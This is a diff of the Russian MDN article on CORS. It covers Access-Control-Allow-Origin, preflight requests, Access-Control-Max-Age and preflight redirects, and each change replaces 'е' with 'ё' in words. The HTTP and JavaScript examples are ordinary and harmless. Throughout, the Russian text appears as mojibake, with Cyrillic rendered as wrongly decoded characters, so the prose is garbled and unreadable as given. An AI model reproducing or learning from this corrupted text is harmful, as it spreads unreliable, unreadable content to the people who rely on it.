ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ с <strong>любого</strong> домСна кросс-сайтовым способом. Если Π²Π»Π°Π΄Π΅Π»Π΅Ρ† рСсурса <code class="plain">http://bar.other</code>Β ΠΏΠΎΠΆΠ΅Π»Π°Π»Β ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ рСсурсу для запросов Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с <code class="plain">http://foo.example</code>, ΠΎΠ½ΠΈ отправят ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ:</p>
<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
-<p>ΠžΡ‚ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½, ΠΊΡ€ΠΎΠΌΠ΅Β <code class="plain">http://foo.example</code> (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ORIGIN:Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π² запросС, ΠΊΠ°ΠΊ Π² 10 строкС Π²Ρ‹ΡˆΠ΅), Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ рСсурсу кросс-сайтовым способом. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Access-Control-Allow-Origin</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅Β <code>Origin</code> запроса.Β </p>
+<p>ΠžΡ‚ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½, ΠΊΡ€ΠΎΠΌΠ΅Β <code class="plain">http://foo.example</code> (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ORIGIN:Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π² запросС, ΠΊΠ°ΠΊ Π² 10 строкС Π²Ρ‹ΡˆΠ΅), Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ рСсурсу кросс-сайтовым способом. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Access-Control-Allow-Origin</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅Β <code>Origin</code> запроса.Β </p>
<h3 id="ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_запросы">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ запросы</h3>
@@ -160,7 +160,7 @@ Content-Type: application/xml
<li>{{HTTPMethod("PATCH")}}</li>
</ul>
</li>
- <li><strong>Или Ссли</strong>, ΠΊΡ€ΠΎΠΌΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², автоматичСски устанавливаСмых ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π°Π³Π΅Π½Ρ‚ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ с ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² спСцификации Fetch ΠΊΠ°ΠΊ "имя Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°"</a>), запрос Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π»ΡŽΠ±Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">Ρ‚Π΅Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСцификация Fetch опрСдСляСт ΠΊΠ°ΠΊ "Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса CORS-бСзопасный Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса"</a>, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ:
+ <li><strong>Или Ссли</strong>, ΠΊΡ€ΠΎΠΌΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², автоматичСски устанавливаСмых ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π°Π³Π΅Π½Ρ‚ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ с ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² спСцификации Fetch ΠΊΠ°ΠΊ "имя Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°"</a>), запрос Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π»ΡŽΠ±Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">Ρ‚Π΅Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСцификация Fetch опрСдСляСт ΠΊΠ°ΠΊ "Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса CORS-бСзопасный Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса"</a>, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ:
<ul>
<li>{{HTTPHeader("Accept")}}</li>
<li>{{HTTPHeader("Accept-Language")}}</li>
@@ -184,7 +184,7 @@ Content-Type: application/xml
<li><strong>Или Ссли </strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("ReadableStream")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² запросС.</li>
</ul>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ запроса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просмотрСн.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ запроса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просмотрСн.</p>
<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
var url = 'http://bar.other/resources/post-here/';
@@ -204,7 +204,7 @@ function callOtherDomain(){
......
</pre>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, 3 строка создаСт XML Ρ‚Π΅Π»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ <code>POST</code> запросом Π½Π° строкС 8.Β Π’Π°ΠΊΠΆΠ΅, Π½Π° строкС 9, "кастомизированный" (Π½Π΅ стандартный) Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP запроса установлСн (<code>X-PINGOTHER: pingpong</code>). Π’Π°ΠΊΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/1.1, Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ запрос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β Content-Type Β <code>application/xml</code>, ΠΈ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ установлСн кастомизированный Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, этот запрос просматриваСтся.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, 3 строка создаёт XML Ρ‚Π΅Π»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ <code>POST</code> запросом Π½Π° строкС 8.Β Π’Π°ΠΊΠΆΠ΅, Π½Π° строкС 9, "кастомизированный" (Π½Π΅ стандартный) Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP запроса установлСн (<code>X-PINGOTHER: pingpong</code>). Π’Π°ΠΊΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/1.1, Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ запрос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β Content-Type Β <code>application/xml</code>, ΠΈ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ установлСн кастомизированный Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, этот запрос просматриваСтся.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p>
@@ -242,7 +242,7 @@ Connection: Keep-Alive
Content-Type: text/plain
</pre>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½, отправляСтся настоящий запрос:</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½, отправляСтся настоящий запрос:</p>
<pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1
Host: bar.other
@@ -294,23 +294,23 @@ Access-Control-Max-Age: 86400</pre>
<p>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ с <code>Access-Control-Allow-Methods</code>Β ΠΈ сообщаСт, Ρ‡Ρ‚ΠΎ <code>POST</code>, <code>GET</code>, ΠΈ <code>OPTIONS</code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ТизнСспособными ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ для запроса ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ рСсурса.Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°Β {{HTTPHeader("Allow")}}, Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ строго Π² контСкстС контроля доступа.</p>
-<p>Π‘Π΅Ρ€Π²Π΅Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ отправляСт <code>Access-Control-Allow-Headers</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ "<code>X-PINGOTHER, Content-Type</code>", подтвСрТдая, Ρ‡Ρ‚ΠΎ это Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с фактичСским запросом. Как ΠΈΒ <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> прСдставляСт собой список допустимых Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· Π·Π°ΠΏΡΡ‚ΡƒΡŽ.</p>
+<p>Π‘Π΅Ρ€Π²Π΅Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ отправляСт <code>Access-Control-Allow-Headers</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ "<code>X-PINGOTHER, Content-Type</code>", подтвСрТдая, Ρ‡Ρ‚ΠΎ это Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с фактичСским запросом. Как ΠΈΒ <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> прСдставляСт собой список допустимых Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· Π·Π°ΠΏΡΡ‚ΡƒΡŽ.</p>
-<p>НаконСц, {{HTTPHeader("Access-Control-Max-Age")}} Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² сСкундах, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос Π±Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса. Π’ этом случаС, 86400 сСкунды - это 24 часа. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальноС Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</a>,Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π°Β <code>Access-Control-Max-Age</code> большС.</p>
+<p>НаконСц, {{HTTPHeader("Access-Control-Max-Age")}} Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² сСкундах, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос Π±Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса. Π’ этом случаС, 86400 сСкунды - это 24 часа. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальноС Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</a>,Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π°Β <code>Access-Control-Max-Age</code> большС.</p>
<h4 id="ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_запросы_ΠΈ_пСрСадрСсации">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ запросы и  пСрСадрСсации</h4>
<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² настоящСС врСмя Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ пСрСадрСсации для ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… запросов. Если пСрСадрСсация происходит для ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса,Β Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² сообщат ΠΎΠ± ошибкС, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅.</p>
<blockquote>
-<p>Запрос Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ Π½Π°Β 'https://example.com/foo', ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ для запросов ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… источников, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</p>
+<p>Запрос Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ Π½Π°Β 'https://example.com/foo', ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ для запросов ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… источников, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</p>
</blockquote>
<blockquote>
<p>Запрос Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, которая Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π° для пСрСнаправлСния ΠΌΠ΅ΠΆΠ΄Ρƒ источниками</p>
</blockquote>
-<p>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» CORS ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π» Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния, Π½ΠΎ впослСдствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ большС Π½Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</a> Однако Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈ всС Π΅Ρ‰Π΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ.</p>
+<p>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» CORS ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π» Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния, Π½ΠΎ впослСдствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ большС Π½Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</a> Однако Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈ всС Π΅Ρ‰Ρ‘ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ.</p>
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ догонят ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ² ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ ΠΎΠ±Π° ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… дСйствий:</p>
@@ -328,9 +328,9 @@ Access-Control-Max-Age: 86400</pre>
<p>Однако, Ссли запрос ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΈΠ·-Π·Π° наличия Π² запросС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° `Authorization`, Π²Ρ‹ Π½Π΅ смоТСтС ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ описанныС Π²Ρ‹ΡˆΠ΅ шаги. И Π²Ρ‹ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ смоТСтС ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это, Ссли Ρƒ вас Π½Π΅Ρ‚ контроля Π½Π°Π΄ сСрвСром, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ дСлаСтся запрос.</p>
-<h3 id="Запросы_с_ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ_Π΄Π°Π½Π½Ρ‹ΠΌΠΈ">Запросы с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ</h3>
